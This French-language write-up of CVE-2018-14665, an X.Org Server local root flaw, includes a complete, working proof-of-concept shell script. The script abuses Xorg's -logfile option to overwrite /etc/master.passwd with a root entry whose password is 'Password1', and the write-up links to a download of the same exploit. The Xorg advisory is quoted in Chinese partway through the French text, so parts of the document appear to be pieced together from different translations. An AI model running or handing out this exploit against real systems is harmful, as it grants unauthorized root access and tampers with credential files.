CVE-2018-14665

0x00 Introduction

Le chercheur en sécurité indien Narendra Shinde a découvert une vulnérabilité critique d'élévation de privilèges vers root pour un compte ordinaire dans le paquet X.Org Server (CVE-2018-14665), qui affecte les principales distributions Linux, notamment OpenBSD, Debian, Ubuntu, CentOS, Red Hat et Fedora.

Le projet Xorg X fournit une implémentation open source du système X Window (c'est-à-dire X11, ou simplement X, un système de fenêtres pour affichage bitmap). Il fournit le cadre de base des environnements GUI : dessiner et déplacer des fenêtres sur le périphérique d'affichage et interagir avec la souris et le clavier.

Shinde a découvert que le serveur Xorg X ne traite et ne valide pas correctement les arguments d'au moins les deux paramètres de ligne de commande suivants :

-modulepath : définit le chemin du répertoire dans lequel rechercher les modules du serveur Xorg,

-logfile : définit un nouveau fichier journal pour le serveur Xorg, au lieu du journal par défaut situé dans /var/log/Xorg.n.log sur la plupart des plates-formes.

Selon Narendra Shinde, un utilisateur à faibles privilèges peut l'exploiter pour exécuter du code malveillant et écraser n'importe quel fichier du système.

Plus de deux ans auparavant, cette vulnérabilité avait été introduite dans le paquet X.Org Server 1.19.0.

Xorg a publié un avis de sécurité concernant la vulnérabilité CVE-2018-14665.

“当X服务器以提升的权限运行时（即，安装Xorg并设置setuid位并由非root用户启动）。”读取Xorg  建议。 

“-modulepath参数可用于指定要在X服务器中加载的模块的不安全路径，允许在特权进程中执行非特权代码。

由于在解析选项时检查不正确，-logfile参数可用于覆盖文件系统中的任意文件。“

L'expert en sécurité Matthew Hickey a également publié un code d'exploitation de preuve de concept qui permet à un attaquant de prendre le contrôle d'un système vulnérable en 3 commandes ou moins.

Le LPE #0day d'OpenBSD via CVE-2018-14665 peut être déclenché à partir d'une session SSH distante, sans nécessiter de console locale. Un attaquant peut littéralement prendre le contrôle d'un système affecté en 3 commandes ou moins.

Script d'exploitation : https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh

POC:

#!/bin/sh
# local privilege escalation in X11 currently
# unpatched in OpenBSD 6.4 stable - exploit
# uses cve-2018-14665 to overwrite files as root. 
# Impacts Xorg 1.19.0 - 1.20.2 which ships setuid
# and vulnerable in default OpenBSD. Errata: was 
# unpatched 0day for a day on release by Xorg for
# OpenBSD systems - patched 26-10-2018.
# 
# Credit for cve-2018-14665 goes to Narendra Shinde.
# Theo explains why this flaw made it into OpenBSD
# stable releases (tested 6.3 & 6.4) as 0day himself 
# here:
#
# https://marc.info/?l=openbsd-tech&r=1&b=201810&w=2
#
# "That is the first localhost root hole in quite a 
# long time." - Theo de Raadt 25/10/18
#
# This exploit works on OpenBSD 6.3 and 6.4, ymmv.
# requires the ability to run "su" and a local
# account. Run this exploit once and it will backup
# the original passwd file to /etc/master.passwd.old
#
# - https://hacker.house
echo [+] OpenBSD 6.4-stable local root exploit
cd /etc
Xorg -fp 'root:$2b$08$As7rA9IO2lsfSyb7OkESWueQFzgbDfCXw0JXjjYszKa8Aklt5RTSG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh' -logfile master.passwd :1 &
sleep 5
pkill Xorg
echo [-] dont forget to mv and chmod /etc/master.passwd.old back 
echo [+] type 'Password1' and hit enter for root
su -

Remarque : après une exploitation réussie, le nouveau mot de passe root est Password1 et le fichier /etc/passwd d'origine du système est sauvegardé dans /etc/master.passwd.old

0x02 Liens de référence

https://twitter.com/hackerfantastic

https://securityaffairs.co/wordpress/77402/hacking/cve-2018-14665-linux-distros.html

https://hacker.house/releasez/expl0itz/openbsd-0day-cve-2018-14665.sh